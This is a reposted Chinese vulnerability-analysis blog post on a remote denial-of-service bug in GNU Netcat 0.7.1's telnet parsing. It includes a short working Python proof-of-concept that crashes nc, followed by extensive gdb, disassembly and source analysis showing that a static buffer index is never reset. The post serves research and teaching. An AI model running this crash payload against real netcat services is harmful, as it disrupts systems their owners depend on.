50

[拜年啦!]NetCat【nc】 0.7.1 远程拒绝服务漏洞

 5 years ago
source link: http://www.whereisk0shl.top/post/2019-02-04?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:k0shl 转载请注明出处:https://whereisk0shl.top

前面想说的话

又是一年除夕夜,今年也是我的博客的第四年,看看手里仅剩的五篇存货很感慨,终于要结束漫长的更新了,非常感谢大家这些年对我博客的关注,也要跟大家说声抱歉,博客这些年更新的漏洞分析文章是我15-16年分析的,那时候才刚接触二进制,所以有很多错误的地方,也非常感谢指出我错误的小伙伴,让我在复盘自己过去错误的时候受益良多。今年我的博客将结束过往文章的更新,之后就无法定期更新了,但我会一直维护我的博客,继续不定期更新一些最新的研究成果,希望大家可以继续关注我,共同交流,共同进步!

今天是除夕夜了,在这里祝愿大家阖家幸福,新的一年工作顺利,学业进步,0day多多,赚钱多多!

漏洞说明

NetCat就是我们所说的nc,nc在使用-T参数的时候是负责处理telnet连接,当利用nc构建一个telnet的服务端的时候,如果在客户端发送特殊的数据包,nc会处理telnet数据,根据不同的telnet code进行不同的操作。会导致nc在处理telnet数据的时候,由于处理buffer的时候在处理结束时没有对buffer的长度进行重置,导致连续多次写入telnet数据之后,由于向不可写的内存写入数据,最后引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:

https://www.exploit-db.com/apps/088def25efe04dcdd1f8369d8926ab34-netcat-0.7.1.tar.gz

PoC:

#/usr/bin/python
#-*- Coding: utf-8 -*-

import socket

RHOST = "127.0.0.1"
RPORT = 12347

print("[+] Connecting to %s:%d") % (RHOST, RPORT)
s = socket.create_connection((RHOST, RPORT))
s.send("\xFF") # Telnet control character
print("[+] Telnet control character sent")
print("[i] Starting")
try:
    i = 0
    while True: # Loop until it crashes
        i += 1
        s.send("\x30")
except:
    print("[+] GNU Netcat crashed on iteration: %d") % (i)

漏洞复现

首先利用gdb attach附加进程,之后远程发送Payload,gdb命中崩溃现场。

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x4a0 
EBX: 0x8f 
ECX: 0x90 
EDX: 0x30 ('0')
ESI: 0xbfec9f80 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0x8f 
ESP: 0xbfec9de0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfec9de0 --> 0x1 
0004| 0xbfec9de4 --> 0xb7519a28 --> 0x211f 
0008| 0xbfec9de8 --> 0x0 
0012| 0xbfec9dec --> 0x8f 
0016| 0xbfec9df0 --> 0xbfecaf50 --> 0x0 
0020| 0xbfec9df4 --> 0xbfec9f00 --> 0x0 
0024| 0xbfec9df8 --> 0xbfec9e80 --> 0x10 
0028| 0xbfec9dfc --> 0xb75f3b4d (<___newselect_nocancel+35>:    pop    ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
100     getrq[l++] = buf[i];

通过bt命令来回溯一下堆栈调用

gdb-peda$ bt
#0  netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
#1  0x0804b399 in core_readwrite (nc_main=0xbfeca7f0, nc_slave=0xbfecaf50)
    at core.c:823
#2  0x080497f2 in main (argc=0x4, argv=0xbfecb3c4) at netcat.c:499
#3  0xb752ba63 in __libc_start_main (main=0x80490e0 <main>, argc=0x4, 
    argv=0xbfecb3c4, init=0x804d470 <__libc_csu_init>, 
    fini=0x804d4e0 <__libc_csu_fini>, rtld_fini=0xb76efc90 <_dl_fini>, 
    stack_end=0xbfecb3bc) at libc-start.c:287
#4  0x08049f35 in _start ()

根据当前命中崩溃的位置,来看一下当前的指令,是将edx低地址部分dl交给eax+0x8051b60,eax的值是4a0,这样相加之后的地址是0x8052000,来看一下这个地址的值。

gdb-peda$ x/10x 0x08052000
0x8052000:  Cannot access memory at address 0x8052000

是向一个不可写的地址写入,接下来来看一下08051b60这个地址位置。

gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff  0x000004a0  0x30303030  0x30303030
0x8051b70:  0x30303030  0x30303030  0x30303030  0x30303030
0x8051b80:  0x30303030  0x30303030

这个地址写入的正是发送的Payload的字符串,那么就由所处的这个netcat_telnet_parse函数入手分析这个拒绝服务漏洞的成因。

漏洞分析

找到netcat_telnet_parse函数的入口位置,下一个断点。

.text:0804D230 ; void __cdecl netcat_telnet_parse(nc_sock_t *ncsock)
.text:0804D230                 public netcat_telnet_parse
.text:0804D230 netcat_telnet_parse proc near           ; CODE XREF: core_readwrite+664p
.text:0804D230
.text:0804D230 from            = dword ptr -4Ch
.text:0804D230 eat_chars       = dword ptr -30h
.text:0804D230 putrq           = byte ptr -20h
.text:0804D230 ncsock          = dword ptr  4
.text:0804D230
.text:0804D230                 push    ebp
.text:0804D231                 push    edi
.text:0804D232                 xor     ebp, ebp
.text:0804D234                 push    esi
.text:0804D235                 push    ebx
.text:0804D236                 sub     esp, 2Ch
.text:0804D239                 mov     eax, [esp+3Ch+ncsock]
.text:0804D23D                 mov     edi, [eax+3ACh]
.text:0804D243                 mov     esi, [eax+3A8h]

重新发送Payload,命中断点之后,单步跟踪。首先函数会对一个缓冲区,和要拷贝的字符串长度进行赋值。eax寄存器存放的是长度0x11,edi存放的是buff的缓冲区地址。

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d23d (<netcat_telnet_parse+13>:   mov    edi,DWORD PTR [eax+0x3ac])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d235 <netcat_telnet_parse+5>:   push   ebx
   0x804d236 <netcat_telnet_parse+6>:   sub    esp,0x2c
   0x804d239 <netcat_telnet_parse+9>:   mov    eax,DWORD PTR [esp+0x40]
=> 0x804d23d <netcat_telnet_parse+13>:  mov    edi,DWORD PTR [eax+0x3ac]
   0x804d243 <netcat_telnet_parse+19>:  mov    esi,DWORD PTR [eax+0x3a8]
   0x804d249 <netcat_telnet_parse+25>:  test   edi,edi
   0x804d24b <netcat_telnet_parse+27>:  
    jle    0x804d32b <netcat_telnet_parse+251>
   0x804d251 <netcat_telnet_parse+33>:  xor    ebx,ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
79    int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d243 (<netcat_telnet_parse+19>:   mov    esi,DWORD PTR [eax+0x3a8])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d236 <netcat_telnet_parse+6>:   sub    esp,0x2c
   0x804d239 <netcat_telnet_parse+9>:   mov    eax,DWORD PTR [esp+0x40]
   0x804d23d <netcat_telnet_parse+13>:  mov    edi,DWORD PTR [eax+0x3ac]
=> 0x804d243 <netcat_telnet_parse+19>:  mov    esi,DWORD PTR [eax+0x3a8]
   0x804d249 <netcat_telnet_parse+25>:  test   edi,edi
   0x804d24b <netcat_telnet_parse+27>:  
    jle    0x804d32b <netcat_telnet_parse+251>
   0x804d251 <netcat_telnet_parse+33>:  xor    ebx,ebx
   0x804d253 <netcat_telnet_parse+35>:  nop
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
78    unsigned char putrq[4], *buf = ncsock->recvq.pos;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11

赋值之后,来看一下相应buff里面存放的内容。这时候已经接收到了第一批字符串。

gdb-peda$ x/10x 0xbfb17f60
0xbfb17f60: 0x303030ff  0x30303030  0x30303030  0x30303030
0xbfb17f70: 0x08048330  0x00000001  0x00000038  0xb76453ae
0xbfb17f80: 0xbfb17fd0  0xb77c4000

接下来,程序会进入一处循环操作,根据之前eax,也就是buff的大小,对另一个缓冲区进行赋值。来看一下第一轮循环结束时的情况。

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x1 
EDX: 0xff 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d277 (<netcat_telnet_parse+71>:   mov    DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
   0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
   0x804d287 <netcat_telnet_parse+87>:  
    je     0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96      eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000000ff  0x00000000  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000
gdb-peda$ b *0x0804d271
Breakpoint 2 at 0x804d271: file telnet.c, line 100.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x1 
ECX: 0x2 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x1 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x1 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100     getrq[l++] = buf[i];
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x1 
ECX: 0x2 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x1 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d277 (<netcat_telnet_parse+71>:   mov    DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
   0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
   0x804d287 <netcat_telnet_parse+87>:  
    je     0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x1 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96      eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff  0x00000001  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

此时l的值是一直增加的,这个l的值取决于伪代码中一个名为l_4516的全局变量,这个过程每次赋值结束,全局变量都会增加,这个全局变量最后保存在getrq指针里,这个指针就是0x8051b60。

gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff  0x00000001  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

此时指针偏移+4位置存放全局变量的值,此时值为0x1,是第一次读取的长度,接下来会连续对此进行读取,然而这个过程,没有对全局变量的值进行重置,第二轮接收到telnet数据包后,会同样进入netcat_telnet_parse函数进行处理。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x400 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 ('0' <repeats 200 times>...)
EDX: 0x400 
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0xbfb18f30 --> 0x0 
ESP: 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>:   mov    edi,DWORD PTR [ebx+0x3ac])
EIP: 0x804d230 (<netcat_telnet_parse>:  push   ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d22a:   xchg   ax,ax
   0x804d22c:   xchg   ax,ax
   0x804d22e:   xchg   ax,ax
=> 0x804d230 <netcat_telnet_parse>: push   ebp
   0x804d231 <netcat_telnet_parse+1>:   push   edi
   0x804d232 <netcat_telnet_parse+2>:   xor    ebp,ebp
   0x804d234 <netcat_telnet_parse+4>:   push   esi
   0x804d235 <netcat_telnet_parse+5>:   push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>:  mov    edi,DWORD PTR [ebx+0x3ac])
0004| 0xbfb17e00 --> 0xbfb187d0 --> 0x4 
0008| 0xbfb17e04 --> 0xbfb17f60 ('0' <repeats 200 times>...)
0012| 0xbfb17e08 --> 0x400 
0016| 0xbfb17e0c --> 0xb77b69ae (<dl_open_worker+766>:  sub    esp,0x4)
0020| 0xbfb17e10 --> 0xbfb193b8 --> 0xbfb1a668 ("XDG_VTNR=7")
0024| 0xbfb17e14 --> 0x142db20 
0028| 0xbfb17e18 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:75
75  {

这样再次命中断点的时候,再来看看getrq的指针结构。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x11 
EBX: 0x0 
ECX: 0x1 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x11 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb17ee0 --> 0x0 
0024| 0xbfb17dd8 --> 0xbfb17e60 --> 0x10 
0028| 0xbfb17ddc --> 0xb76b6b4d (<___newselect_nocancel+35>:    pop    ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100     getrq[l++] = buf[i];
gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff  0x00000011  0x30303030  0x30303030
0x8051b70:  0x00000030  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

getrq偏移加4位置存放的长度变量,是从上一次赋值结束的长度变量开始的,也就是说这个过程没有重置这个全局变量,最后如果循环接收,到达一定长度后会向不可写的地址写入数据,导致拒绝服务漏洞的发生。

来看一下源码部分。

void netcat_telnet_parse(nc_sock_t *ncsock)
{
  static unsigned char getrq[4];
  static int l = 0;
  unsigned char putrq[4], *buf = ncsock->recvq.pos;
  int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
  for (i = 0; i < ref_size; i++) {
    /* if we found IAC char OR we are fetching a IAC code string process it */
    if ((buf[i] != TELNET_IAC) && (l == 0))
      continue;

#ifndef USE_OLD_TELNET
    /* this is surely a char that will be eaten */
    eat_chars++;
#endif

    /* copy the char in the IAC-code-building buffer */
    getrq[l++] = buf[i];

buf,size变量指针都取决于ncsock结构体,而后面赋值时会将buf赋值给getrq,而l就是全局变量,这个函数后续会进行switch case语句来处理telnet code,如果有的话。

{
            case 13:
            case 14:
              ++v1;
              if ( v7 <= 2 )
                break;
              putrq[0] = -1;
              putrq[1] = -4;
              goto LABEL_9;
            case 0:
            case 1:
            case 2:
            case 3:
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 10:
              goto LABEL_10;
            case 11:
            case 12:
              ++v1;
              if ( v7 <= 2 )
                break;
              putrq[0] = -1;
              putrq[1] = -2;
LABEL_9:
              putrq[2] = getrq_4515[2];
              write(ncsock->fd, putrq, 3u);
LABEL_10:
              l_4516 = 0;
              goto LABEL_11;
            case 15:
              l_4516 = 0;
              v3[v4 - v1] = -1;
              if ( v1 )
              {
                eat_chars = v1;
LABEL_11:
                v8 = v4 + 1;
                v9 = v2 - v8;
                v2 -= eat_chars;
                memmove(&v3[v8 - eat_chars], &v3[v8], v9);
                v1 = 0;
                v4 = ~eat_chars + v8;
              }
              break;
            default:
              goto LABEL_18;

结束处理的时候,没有对全局变量重置,最后导致了拒绝服务的发生。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK